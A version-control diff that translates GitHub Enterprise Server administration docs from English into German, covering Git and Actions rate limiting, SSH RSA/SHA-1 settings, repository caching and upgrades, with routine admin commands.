**Warning:** We encourage you to leave this setting disabled unless directly recommended by a member of {% data variables.product.company_short %}'s staff. Git operations are rarely the leading driver of CPU and RAM usage. Enabling this feature can make Git operations more likely to fail under high load conditions but does not address the underlying cause of those conditions.
**Warnung:** Es wird empfohlen, diese Einstellung zu deaktivieren, es sei denn, ihre Verwendung wird von einem {% data variables.product.company_short %}-Mitarbeiter empfohlen. Git-Operationen sind selten die Hauptursache für eine CPU- und RAM-Auslastung. Die Aktivierung dieser Funktion kann die Wahrscheinlichkeit erhöhen, dass Git-Vorgänge unter hoher Last fehlschlagen, aber sie ändert nichts an der Ursache für diese Bedingungen.
{% endwarning %}
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.management-console %}
2. Under "Rate Limiting", select **Enable Git Rate Limiting**.
![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png)
3. Type limits for each repository network or user ID.
![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png)
{% data reusables.enterprise_management_console.save-settings %}
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %}
2. Wähle unter „Ratenbegrenzung“ die Option **Git-Begrenzung aktivieren** aus.
![Kontrollkästchen zum Aktivieren der Git-Begrenzung](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png)
3. Gib die Begrenzungen für die jeweiligen Repository-Netzwerke oder Benutzer-IDs ein.
![Felder für Repositorynetzwerk- Benutzer-ID-Begrenzungen](/assets/images/enterprise/management-console/example-git-rate-limits.png) {% data reusables.enterprise_management_console.save-settings %}
{% ifversion ghes > 3.4 %}
## Configuring rate limits for {% data variables.product.prodname_actions %}
## Konfigurieren von Ratenbegrenzungen für {% data variables.product.prodname_actions %}
You can apply a rate limit to {% data variables.product.prodname_actions %} workflow runs. For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."
Du kannst eine Ratenbegrenzung auf {% data variables.product.prodname_actions %}-Workflowausführungen anwenden. Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter „Informationen zu [{% data variables.product.prodname_actions %} für Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).
### About rate limits for {% data variables.product.prodname_actions %}
### Informationen zu {% data variables.product.prodname_actions %}
Your {% data variables.product.product_name %} instance assigns each {% data variables.product.prodname_actions %} workflow job to a runner. If your instance cannot immediately assign a job to an available runner, the job will wait in a queue until a runner is available. If {% data variables.product.prodname_actions %} experiences sustained high load, the queue can back up, and the performance of {% data variables.location.product_location %} may degrade.
Deine {% data variables.product.product_name %}-Instanz weist jeden {% data variables.product.prodname_actions %}-Workflowauftrag einem Runner zu. Wenn die Instanz einen Auftrag nicht sofort einem verfügbaren Runner zuweisen kann, wartet der Auftrag in einer Warteschlange, bis ein Runner verfügbar ist. Wenn {% data variables.product.prodname_actions %} dauerhaft stark ausgelastet ist, kann es zu einem Rückstau in der Warteschlange kommen, und die Leistung von {% data variables.location.product_location %} wird möglicherweise beeinträchtigt.
To avoid this performance degradation, you can configure a rate limit for {% data variables.product.prodname_actions %}. This rate limit is expressed in job runs per minute. {% data variables.product.product_name %} calculates and applies the rate limit for the sum total of all job runs on the instance. If runs exceed the rate limit, additional runs will fail instead of entering the queue. The following error will appear in the run's annotations.
Um diese Leistungsbeeinträchtigung zu vermeiden, kannst du eine Ratenbegrenzung für {% data variables.product.prodname_actions %} konfigurieren. Diese Ratenbegrenzung wird in Auftragsausführungen pro Minute ausgedrückt. Die Ratenbegrenzung wird von {% data variables.product.product_name %} für die Summe aller Auftragsausführungen in der Instanz berechnet und angewendet. Wenn die Ratenbegrenzung von Ausführungen überschritten wird, schlagen weitere Ausführungen fehl, statt in die Warteschlange eingereiht zu werden. Der folgende Fehler wird in den Anmerkungen der Ausführung angezeigt.
> You've exceeded the rate limit for workflow run requests. Please wait before retrying the run.
> Die Ratenbegrenzung für Workflowausführungsanforderungen wurde überschritten. Bitte warte, bevor du die Ausführung erneut versuchst.
An appropriate rate limit protects {% data variables.location.product_location %} from abnormal usage of {% data variables.product.prodname_actions %} without interfering with day-to-day operations. The exact threshold depends on your instance's available resources and overall load profile. For more information about the hardware requirements for {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements)."
Eine geeignete Ratenbegrenzung schützt {% data variables.location.product_location %} vor einer übermäßigen Nutzung von {% data variables.product.prodname_actions %}, ohne den laufenden Betrieb zu beeinträchtigen. Der genaue Schwellenwert hängt von den verfügbaren Ressourcen deiner Instanz und dem allgemeinen Auslastungsprofil ab. Weitere Informationen zu den Hardwareanforderungen für {% data variables.product.prodname_actions %} findest du unter „[Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements).
By default, the rate limit for {% data variables.product.prodname_actions %} is disabled. Because {% data variables.product.product_name %} can handle temporary spikes in usage without performance degradation, this rate limit is intended to protect against sustained high load. We recommend leaving the rate limit disabled unless you are experiencing performance problems. In some cases, {% data variables.contact.github_support %} may recommend that you enable a rate limit for {% data variables.product.prodname_actions %}.
Die Ratenbegrenzung für {% data variables.product.prodname_actions %} ist standardmäßig deaktiviert. Da {% data variables.product.product_name %} temporäre Auslastungsspitzen ohne Leistungsbeeinträchtigung verarbeiten kann, soll diese Ratenbegrenzung Schutz vor dauerhafter hoher Last bieten. Es wird empfohlen, die Ratenbegrenzung deaktiviert zu lassen, es sei denn, es treten Leistungsprobleme auf. In einigen Fällen empfiehlt der {% data variables.contact.github_support %}, eine Ratenbegrenzung für {% data variables.product.prodname_actions %} zu aktivieren.
### Enabling or disabling rate limits for {% data variables.product.prodname_actions %}
### Aktivieren oder Deaktivieren von Ratenbegrenzungen für {% data variables.product.prodname_actions %}
{% data reusables.enterprise_installation.ssh-into-instance %}
1. To enable and configure the rate limit, run the following two commands, replacing **RUNS-PER-MINUTE** with the value of your choice.
1. Zum Aktivieren und Konfigurieren der Ratenbegrenzung führe die folgenden beiden Befehle aus, wobei du **RUNS-PER-MINUTE** durch den Wert deiner Wahl ersetzt.
```shell
ghe-config actions-rate-limiting.enabled true
ghe-config actions-rate-limiting.queue-runs-per-minute RUNS-PER-MINUTE
```
1. To disable the rate limit after it's been enabled, run the following command.
1. Führe den folgenden Befehl aus, um die Ratenbegrenzung nach der Aktivierung zu deaktivieren.
```
ghe-config actions-rate-limiting.enabled false
```
1. To apply the configuration, run the following command.
1. Führe den folgenden Befehl aus, um die Konfiguration anzuwenden.
```
ghe-config-apply
```
1. Wait for the configuration run to complete.
1. Warte auf den Abschluss der Konfigurationsausführung.
{% endif %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Configuring SSH connections to your instance
title: Konfigurieren von SSH-Verbindungen mit deiner Instanz
shortTitle: Configure SSH connections
intro: 'You can increase the security of {% data variables.location.product_location %} by configuring the SSH algorithms that clients can use to establish a connection.'
intro: 'Du kannst die Sicherheit von {% data variables.location.product_location %} erhöhen, indem du die SSH-Algorithmen konfigurierst, mit denen Clients eine Verbindung herstellen können.'
permissions: 'Site administrators can configure SSH connections to a {% data variables.product.product_name %} instance.'
versions:
ghes: '>= 3.6'
@ -13,38 +13,43 @@ topics:
- Networking
- Security
- SSH
ms.openlocfilehash: 9b2cc81a447018eef350e1c53857dd5a74a3099a
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107541'
---
## About SSH connections to your instance
## Informationen zu SSH-Verbindungen mit deiner Instanz
{% data reusables.enterprise.about-ssh-ports %}
To accommodate the SSH clients in your environment, you can configure the types of connections that {% data variables.location.product_location %} will accept.
Um die SSH-Clients in deiner Umgebung zu unterstützen, kannst du die Verbindungsarten konfigurieren, die {% data variables.location.product_location %} akzeptiert.
## Configuring SSH connections with RSA keys
## Konfigurieren von SSH-Verbindungen mit RSA-Schlüsseln
When users perform Git operations on {% data variables.location.product_location %} via SSH over port 22, the client can authenticate with an RSA key. The client may sign the attempt using the SHA-1 hash function. In this context, the SHA-1 hash function is no longer secure. For more information, see [SHA-1](https://en.wikipedia.org/wiki/SHA-1) on Wikipedia.
Wenn Benutzer Git-Vorgänge auf {% data variables.location.product_location %} per SSH über Port 22 durchführen, kann sich der Client mit einem RSA-Schlüssel authentifizieren. Der Client kann den Versuch mit der SHA-1-Hashfunktion signieren. In diesem Kontext ist die SHA-1-Hashfunktion nicht mehr sicher. Weitere Informationen findest du unter [SHA-1](https://en.wikipedia.org/wiki/SHA-1) in Wikipedia.
By default{% ifversion ghes < 3.7 %} on {% data variables.product.product_name %} 3.6 and later{% endif %}, SSH connections that satisfy **both** of the following conditions will fail.
Für {% ifversion ghes < 3.7 %} von {% data variables.product.product_name %} 3.6 und höher{% endif %} schlagen SSH-Verbindungen fehl, die **beide** der folgenden Bedingungen erfüllen.
{% data reusables.ssh.rsa-sha-1-connection-failure-criteria %}
You can adjust the cutoff date. If the user uploaded the RSA key before the cutoff date, the client can continue to connect successfuly using SHA-1 as long as the key remains valid. Alternatively, you can reject all SSH connections authenticated with an RSA key if the client signs the connection using the SHA-1 hash function.
Du kannst den Stichtag anpassen. Wenn der Benutzer den RSA-Schlüssel vor dem Stichtag hochgeladen hat, kann sich der Client weiterhin erfolgreich mit SHA-1 verbinden, solange der Schlüssel gültig bleibt. Alternativ kannst du alle mit einem RSA-Schlüssel authentifizierten SSH-Verbindungen ablehnen, wenn der Client die Verbindung mit der SHA-1-Hashfunktion signiert.
Regardless of the setting you choose for your instance, clients can continue to connect using any RSA key signed with a SHA-2 hash function.
Unabhängig davon, welche Einstellung du für deine Instanz festlegst, können Clients weiterhin eine Verbindung mit einem beliebigen RSA-Schlüssel herstellen, der mit einer SHA-2-Hashfunktion signiert ist.
If you use an SSH certificate authority, connections will fail if the certificate's `valid_after` date is after the cutoff date. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
Falls du eine SSH-Zertifizierungsstelle verwendest, schlägt die Verbindung fehl, wenn das `valid_after`-Datum des Zertifikats nach dem Stichtag liegt. Weitere Informationen findest du unter [Informationen zu SSH-Zertifizierungsstellen](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities).
For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server).
Weitere Informationen findest du unter [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server).
{% data reusables.enterprise_installation.ssh-into-instance %}
1. Audit your instance's logs for connections that use unsecure algorithms or hash functions using the `ghe-find-insecure-git-operations` utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-find-insecure-git-operations)."
1. To configure a cutoff date after which {% data variables.location.product_location %} will deny connections from clients that use an RSA key uploaded after the date if the connection is signed by the SHA-1 hash function, enter the following command. Replace _**RFC-3399-UTC-TIMESTAMP**_ with a valid RFC 3399 UTC timestamp. For example, the default value, August 1, 2022, would be represented as `2022-08-01T00:00:00Z`. For more information, see [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) on the IETF website.
1. Überprüfe mit dem Hilfsprogramm `ghe-find-insecure-git-operations` die Überwachungsprotokolle deiner Instanz auf Verbindungen, die unsichere Algorithmen oder Hashfunktionen verwenden. Weitere Informationen findest du unter [Befehlszeilenprogramme](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-find-insecure-git-operations).
1. Mit dem folgenden Befehl kannst du einen Stichtag konfigurieren, nach dem {% data variables.location.product_location %} Verbindungen von Clients ablehnt, die einen nach diesem Datum hochgeladenen RSA-Schlüssel verwenden, wenn die Verbindung mit der SHA-1-Hashfunktion signiert ist. Ersetze _**RFC-3399-UTC-TIMESTAMP**_ durch einen gültigen RFC-3399-UTC-Zeitstempel. Beispielsweise wird der Standardwert 1. August 2022 als `2022-08-01T00:00:00Z` dargestellt. Weitere Informationen findest du auf der IETF-Website unter [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339).
<pre>
$ ghe-config app.gitauth.rsa-sha1 RFC-3339-UTC-TIMESTAMP
</pre>
1. Alternatively, to completely disable SSH connections using RSA keys that are signed with the SHA-1 hash function, enter the following command.
1. Um SSH-Verbindungen mit RSA-Schlüsseln, die mit der SHA-1-Hashfunktion signiert sind, vollständig zu deaktivieren, kannst du alternativ den folgenden Befehl eingeben.
```shell
ghe-config app.gitauth.rsa-sha1 false

Просмотреть файл

@ -1,21 +1,26 @@
---
title: About repository caching
intro: You can increase the performance of Git read operations for distributed teams and CI farms with repository caching.
title: Informationen zum Zwischenspeichern von Repositorys
intro: Du kannst die Leistung von Git-Lesevorgängen für verteilte Teams und CI-Farmen mittels Zwischenspeichern von Repositorys erhöhen.
versions:
ghes: '*'
type: overview
topics:
- Enterprise
ms.openlocfilehash: e32df9becd6142f581d45784e4758cf19a8d1af0
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108322'
---
{% data reusables.enterprise.repository-caching-release-phase %}
If you have teams and CI farms located around the world, you may experience reduced performance on your primary {% data variables.product.prodname_ghe_server %} instance. While active geo-replicas can improve the performance of read requests, this comes at the cost of limiting write throughput. To reduce load on your primary instance and improve write throughput performance, you can configure a repository cache, an asynchronous read-only mirror of repositories located near these geographically-distributed clients.
Wenn du über Teams und CI-Farmen auf der ganzen Welt verfügst, kann die Leistung deiner primären {% data variables.product.prodname_ghe_server %}-Instanz beeinträchtigt sein. Aktive Georeplikate können zwar die Leistung von Leseanfragen verbessern, doch geht dies zu Lasten des Schreibdurchsatzes. Um die Auslastung deiner primären Instanz zu verringern und die Leistung des Schreibdurchsatzes zu verbessern, kannst du einen Repositorycache konfigurieren, eine asynchrone schreibgeschützte Spiegelung von Repositorys, die sich in der Nähe dieser geografisch verteilten Clients befinden.
A repository cache eliminates the need for {% data variables.product.product_name %} to transmit the same Git data over a long-haul network link multiple times to serve multiple clients, by serving your repository data close to CI farms and distributed teams. For instance, if your primary instance is in North America and you also have a large presence in Asia, you will benefit from setting up the repository cache in Asia for use by CI runners there.
Indem deine Repositorydaten in der Nähe von CI-Farmen und verteilten Teams bereitgestellt werden, macht ein Repositorycache es überflüssig, dass {% data variables.product.product_name %} dieselben Git-Daten mehrfach über eine lange Netzwerkverbindung übertragen muss, um mehrere Clients zu bedienen. Wenn beispielsweise deine primäre Instanz in Nordamerika ist und deine Präsenz in Asien auch groß ist, profitierst du davon, den Repositorycache in Asien einzurichten, damit er dort von CI-Runnern genutzt werden kann.
The repository cache listens to the primary instance, whether that's a single instance or a geo-replicated set of instances, for changes to Git data. CI farms and other read-heavy consumers clone and fetch from the repository cache instead of the primary instance. Changes are propagated across the network, at periodic intervals, once per cache instance rather than once per client. Git data will typically be visible on the repository cache within several minutes after the data is pushed to the primary instance. {% ifversion ghes > 3.3 %}The [`cache_sync` webhook](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#cache_sync) can be used by CI systems to react to data being available in the cache.{% endif %}
Der Repositorycache lauscht auf die primäre Instanz, unabhängig davon, ob es sich um eine einzelne Instanz oder einen georeplizierten Satz von Instanzen handelt, um Änderungen an Git-Daten vorzunehmen. CI-Farmen und andere leseintensive Verbraucher klonen aus dem Repositorycache und rufen daraus ab, anstatt aus der primären Instanz. Änderungen werden in regelmäßigen Abständen einmal pro Cacheinstanz und nicht einmal pro Client verteilt. Git-Daten werden in der Regel innerhalb von mehreren Minuten nach dem Pushen der Daten an die primäre Instanz im Repositorycache angezeigt. {% ifversion ghes > 3.3 %} Der [`cache_sync`-Webhook](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#cache_sync) kann von CI-Systemen verwendet werden, um auf Daten zu reagieren, die im Cache verfügbar sind.{% endif %}
You have fine-grained control over which repositories are allowed to sync to the repository cache. Git data will only be replicated to the locations you specify.
Du hast präzise Kontrolle darüber, welche Repositorys mit dem Repositorycache synchronisiert werden dürfen. Git-Daten werden nur an den von dir angegebenen Speicherorten repliziert.
{% data reusables.enterprise.repository-caching-config-summary %} For more information, see "[Configuring a repository cache](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)."
{% data reusables.enterprise.repository-caching-config-summary %} Weitere Informationen findest du unter [Konfigurieren eines Repositorycaches](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache).

Просмотреть файл

@ -1,117 +1,118 @@
---
title: Configuring a repository cache
intro: 'You can configure a repository cache for {% data variables.product.product_name %} by creating a new instance, connecting the repository cache to your primary instance, and configuring replication of repository networks to the repository cache.'
title: Konfigurieren eines Repository-Caches
intro: 'Du kannst einen Repositorycache für {% data variables.product.product_name %} konfigurieren, indem du eine neue Instanz erstellst, den Repositorycache mit deiner primären Instanz verknüpfst und die Replikation von Repositorynetzwerken in den Repositorycache konfigurierst.'
versions:
ghes: '*'
type: how_to
topics:
- Enterprise
ms.openlocfilehash: 682e169c55ef7ded453934720bf47f8843bc4acc
ms.sourcegitcommit: 1d757a4f3e1947fdd3868208b63041de30c9f60c
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/03/2022
ms.locfileid: '148132379'
---
{% data reusables.enterprise.repository-caching-release-phase %}
## About configuration for repository caching
## Informationen zur Konfiguration für die Zwischenspeicherung von Repositorys
{% data reusables.enterprise.repository-caching-config-summary %} Then, you can set data location policies that govern which repository networks are replicated to the repository cache.
{% data reusables.enterprise.repository-caching-config-summary %} Anschließend kannst du Richtlinien für Datenspeicherorte festlegen, die steuern, welche Repositorynetzwerke im Repositorycache repliziert werden.
Repository caching is not supported with clustering.
Das Zwischenspeichern von Repositorys wird mit Clustering nicht unterstützt.
## DNS for repository caches
## DNS für Repository-Caches
The primary instance and repository cache should have different DNS names. For example, if your primary instance is at `github.example.com`, you might decide to name a cache `europe-ci.github.example.com` or `github.asia.example.com`.
Der primäre Instanz- und Repository-Cache sollte über verschiedene DNS-Namen verfügen. Wenn zum Beispiel deine primäre Instanz bei `github.example.com` vorhanden ist, könntest du deinen Cache `europe-ci.github.example.com` oder `github.asia.example.com` nennen.
To have your CI machines fetch from the repository cache instead of the primary instance, you can use Git's `url.<base>.insteadOf` configuration setting. For more information, see [`git-config`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-urlltbasegtinsteadOf) in the Git documentation.
Damit deine CI-Computer aus dem Repositorycache statt aus der primären Instanz abgerufen werden können, kannst du die Konfigurationseinstellung `url.<base>.insteadOf` von Git verwenden. Weitere Informationen findest du in der Git-Dokumentation unter [`git-config`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-urlltbasegtinsteadOf).
For example, the global `.gitconfig` for the CI machine would include these lines.
Beispielsweise würde der globale `.gitconfig` für die CI-Maschine diese Zeilen enthalten.
```
[url "https://europe-ci.github.example.com/"]
insteadOf = https://github.example.com/
insteadOf = https://github.example.com/
```
Then, when told to fetch `https://github.example.com/myorg/myrepo`, Git will instead fetch from `https://europe-ci.github.example.com/myorg/myrepo`.
Wenn zum Abrufen `https://github.example.com/myorg/myrepo` aufgefordert wird, wird Git stattdessen von `https://europe-ci.github.example.com/myorg/myrepo` fetchen.
## Configuring a repository cache
## Konfigurieren eines Repository-Caches
{% ifversion ghes = 3.3 %}
{% data reusables.enterprise_installation.ssh-into-instance %}
1. To enable repository caching, run the following command.
{% ifversion ghes = 3.3 %} {% data reusables.enterprise_installation.ssh-into-instance %}
1. Führe den folgenden Befehl aus, um das Zwischenspeichern von Repositorys zu aktivieren.
```
$ ghe-config cluster.cache-enabled true
```
{%- endif %}
1. Set up a new {% data variables.product.prodname_ghe_server %} instance on your desired platform. This instance will be your repository cache. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
1. Richte eine neue {% data variables.product.prodname_ghe_server %}-Instanz auf deiner gewünschten Plattform ein. Diese Instanz ist dein Repositorycache. Weitere Informationen findest du unter [Einrichten einer {% data variables.product.prodname_ghe_server %}-Instanz](/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
{% data reusables.enterprise_installation.replica-steps %}
1. Connect to the repository cache's IP address using SSH.
1. Verbinden zur IP-Adresse des Repository-Caches mithilfe von SSH.
```shell
$ ssh -p 122 admin@REPLICA-IP
```
{%- ifversion ghes = 3.3 %}
1. On your cache replica, enable the feature flag for repository caching.
1. Aktiviere im Cachereplikat das Featureflag für das Zwischenspeichern von Repositorys.
```
$ ghe-config cluster.cache-enabled true
```
{%- endif %}
{% data reusables.enterprise_installation.generate-replication-key-pair %}
{% data reusables.enterprise_installation.add-ssh-key-to-primary %}
1. To verify the connection to the primary and enable replica mode for the repository cache, run `ghe-repl-setup` again.
{%- endif %} {% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %}
1. Führe `ghe-repl-setup` erneut aus, um die Verbindung mit dem primären Replikat zu überprüfen und den Replikatmodus für den Repositorycache zu aktivieren.
```shell
$ ghe-repl-setup PRIMARY-IP
```
{% ifversion ghes < 3.6 %}
1. Set a `cache-location` for the repository cache, replacing *CACHE-LOCATION* with an alphanumeric identifier, such as the region where the cache is deployed. Also set a datacenter name for this cache; new caches will attempt to seed from another cache in the same datacenter.
1. Lege einen `cache-location` Für den Repository-Cache fest, indem du *CACHE-LOCATION* durch einen alphanumerischen Bezeichner so wie den Bereich, in dem der Cache bereitgestellt wird ersetzt. Lege auch einen Rechenzentrumsnamen für diesen Cache fest. Neue Caches versuchen, aus einem anderen Cache im selben Rechenzentrum zu seeden.
```shell
$ ghe-repl-node --cache CACHE-LOCATION --datacenter REPLICA-DC-NAME
```
{% else %}
1. To configure the repository cache, use the `ghe-repl-node` command and include the necessary parameters.
- Set a `cache-location` for the repository cache, replacing *CACHE-LOCATION* with an alphanumeric identifier, such as the region where the cache is deployed. The *CACHE-LOCATION* value must not be any of the subdomains reserved for use with subdomain isolation, such as `assets` or `media`. For a list of reserved names, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)."
- Set a `cache-domain` for the repository cache, replacing *EXTERNAL-CACHE-DOMAIN* with the hostname Git clients will use to access the repository cache. If you do not specify a `cache-domain`, {% data variables.product.product_name %} will prepend the *CACHE-LOCATION* value as a subdomain to the hostname configured for your instance. For more information, see "[Configuring a hostname](/admin/configuration/configuring-network-settings/configuring-a-hostname)."
- New caches will attempt to seed from another cache in the same datacenter. Set a `datacenter` for the repository cache, replacing *REPLICA-DC-NAME* with the name of the datacenter where you're deploying the node.
1. Verwende zum Konfigurieren des Repositorycache den Befehl `ghe-repl-node`, und füge die erforderlichen Parameter ein.
- Lege einen `cache-location` Für den Repository-Cache fest, indem du *CACHE-LOCATION* durch einen alphanumerischen Bezeichner so wie den Bereich, in dem der Cache bereitgestellt wird ersetzt. Der *CACHE-LOCATION*-Wert darf keine der für die Verwendung mit Unterdomänenisolation reservierten Unterdomänen sein, z. B. `assets` oder `media`. Eine Liste der reservierten Namen findest du unter [Aktivieren der Unterdomänenisolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation).
- Lege `cache-domain` für den Repositorycache fest, und ersetze *EXTERNAL-CACHE-DOMAIN* durch den Hostnamen, den Git-Clients für den Zugriff auf den Repositorycache verwenden. Wenn du `cache-domain` nicht angibst, stellt {% data variables.product.product_name %} dem für deine Instanz konfigurierten Hostnamen den *CACHE-LOCATION*-Wert als Unterdomäne voran. Weitere Informationen findest Du unter „[Konfigurieren eines Hosznamens](/admin/configuration/configuring-network-settings/configuring-a-hostname).
- Neue Caches versuchen, aus einem anderen Cache im selben Rechenzentrum zu seeden. Lege `datacenter` für den Repositorycache fest, und ersetze *REPLICA-DC-NAME* durch den Namen des Rechenzentrums, in dem du den Knoten bereitstellst.
```shell
$ ghe-repl-node --cache CACHE-LOCATION --cache-domain EXTERNAL-CACHE-DOMAIN --datacenter REPLICA-DC-NAME
```
{% endif %}
{% data reusables.enterprise_installation.replication-command %}
{% data reusables.enterprise_installation.verify-replication-channel %}
1. To enable replication of repository networks to the repository cache, set a data location policy. For more information, see "[Data location policies](#data-location-policies)."
{% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %}
1. Um die Replikation von Repository-Netzwerken auf den Repository-Cache zu aktivieren, lege eine Richtlinie für Datenspeicherorte fest. Weitere Informationen findest du unter [Richtlinie für Datenspeicherorte](#data-location-policies).
## Data location policies
## Richtlinie für Datenspeicherorte
You can control data locality by configuring data location policies for your repositories with the `spokesctl cache-policy` command. Data location policies determine which repository networks are replicated on which repository caches. By default, no repository networks will be replicated on any repository caches until a data location policy is configured.
Du kannst die Datenlokalität steuern, indem du Richtlinien für Datenspeicherorte für deine Repositorys mit dem `spokesctl cache-policy`-Befehl konfigurierst. Richtlinien für Datenspeicherorte bestimmen, welche Repository-Netzwerke repliziert werden, auf denen Repository-Caches repliziert werden. Standardmäßig werden keine Repository-Netzwerke in allen Repository-Caches repliziert, bis eine Richtlinie für Datenspeicherorte konfiguriert ist.
Data location policies affect only Git content. Content in the database, such as issues and pull request comments, will be replicated to all nodes regardless of policy.
Richtlinien für Datenspeicherorte wirken sich nur auf Git-Inhalte aus. Inhalte in der Datenbank, so wie Issues und Pull Request-Kommentare, werden unabhängig von der Richtlinie auf alle Knoten repliziert.
{% note %}
**Note:** Data location policies are not the same as access control. You must use repository roles to control which users may access a repository. For more information about repository roles, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
**Hinweis:** Richtlinien für Datenspeicherorte sind nicht mit der Zugriffssteuerung identisch. Du musst Repositoryrollen verwenden, um zu steuern, welche Benutzer*innen auf ein Repository zugreifen können. Weitere Informationen zum Repository-Zugriff findest du unter „[Repository-Rollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
{% endnote %}
You can configure a policy to replicate all networks with the `--default` flag. For example, this command will create a policy to replicate a single copy of every repository network to the set of repository caches whose `cache_location` is "kansas".
Du kannst eine Richtlinie so konfigurieren, dass alle Netzwerke mit dem `--default`-Flag repliziert werden. Dieser Befehl erstellt zum Beispiel eine Richtlinie, um eine einzelne Kopie jedes Repository-Netzwerks in den Satz von Repository-Caches zu replizieren, deren `cache_location` „Kansas" lautet.
```
$ ghe-spokesctl cache-policy set --default 1 kansas
```
To configure replication for a repository network, specify the repository that is the root of the network. A repository network includes a repository and all of the repository's forks. You cannot replicate part of a network without replicating the whole network.
Um die Replikation für ein Repositorynetzwerk zu konfigurieren, gib das Repository an, das das Stammverzeichnis des Netzwerks ist. Ein Repository-Netzwerk enthält ein Repository und alle Forks des Repositorys. Du kannst keinen Teil eines Netzwerks replizieren, ohne das gesamte Netzwerk zu replizieren.
```
$ ghe-spokesctl cache-policy set <owner/repository> 1 kansas
```
You can override a policy that replicates all networks and exclude specific networks by specifying a replica count of zero for the network. For example, this command specifies that any repository cache in location "kansas" cannot contain any copies of that network.
Du kannst eine Richtlinie außer Kraft setzen, die alle Netzwerke repliziert und bestimmte Netzwerke ausschließen, indem du als Anzahl der Replikate Null für das Netzwerk angibst. Dieser Befehl gibt zum Beispiel an, dass ein Repository-Cache am Speicherort „Kansas" keine Kopien dieses Netzwerks enthalten kann.
```
$ ghe-spokesctl cache-policy set <owner/repository> 0 kansas
```
Replica counts greater than one in a given cache location are not supported.
Anzahlen der Replikate, die größer als einer in einem bestimmten Cache-Speicherort sind, werden nicht unterstützt.

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Caching repositories
intro: 'You can improve performance for your geographically-distributed team with repository caching, which provides read-only mirrors close to your users and CI clients.'
title: Zwischenspeichern von Repositorys
intro: 'Du kannst die Leistung deines geografisch verteilten Teams mit Repository-Zwischenspeicherung verbessern, wodurch schreibgeschützte Spiegel in der Nähe deiner Benutzer und CI-Clients bereitgestellt werden.'
versions:
ghes: '*'
topics:
@ -8,6 +8,11 @@ topics:
children:
- /about-repository-caching
- /configuring-a-repository-cache
ms.openlocfilehash: 5e2c94823dc5f5366818f8179cc411ad1078f0c3
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108319'
---
{% data reusables.enterprise.repository-caching-release-phase %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Upgrading GitHub Enterprise Server
intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.'
title: Upgrade von GitHub Enterprise Server
intro: 'Führe ein {% data variables.product.prodname_ghe_server %}-Upgrade durch, um die neuesten Features und Sicherheitsupdates zu erhalten.'
redirect_from:
- /enterprise/admin/installation/upgrading-github-enterprise-server
- /enterprise/admin/articles/upgrading-to-the-latest-release
@ -21,157 +21,158 @@ topics:
- Enterprise
- Upgrades
shortTitle: Upgrading GHES
ms.openlocfilehash: cbbeff601bfbbdf828ed4c5fc019c5e3bf849614
ms.sourcegitcommit: 30b0931723b704e219c736e0de7afe0fa799da29
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/30/2022
ms.locfileid: '148186427'
---
## Upgrade vorbereiten
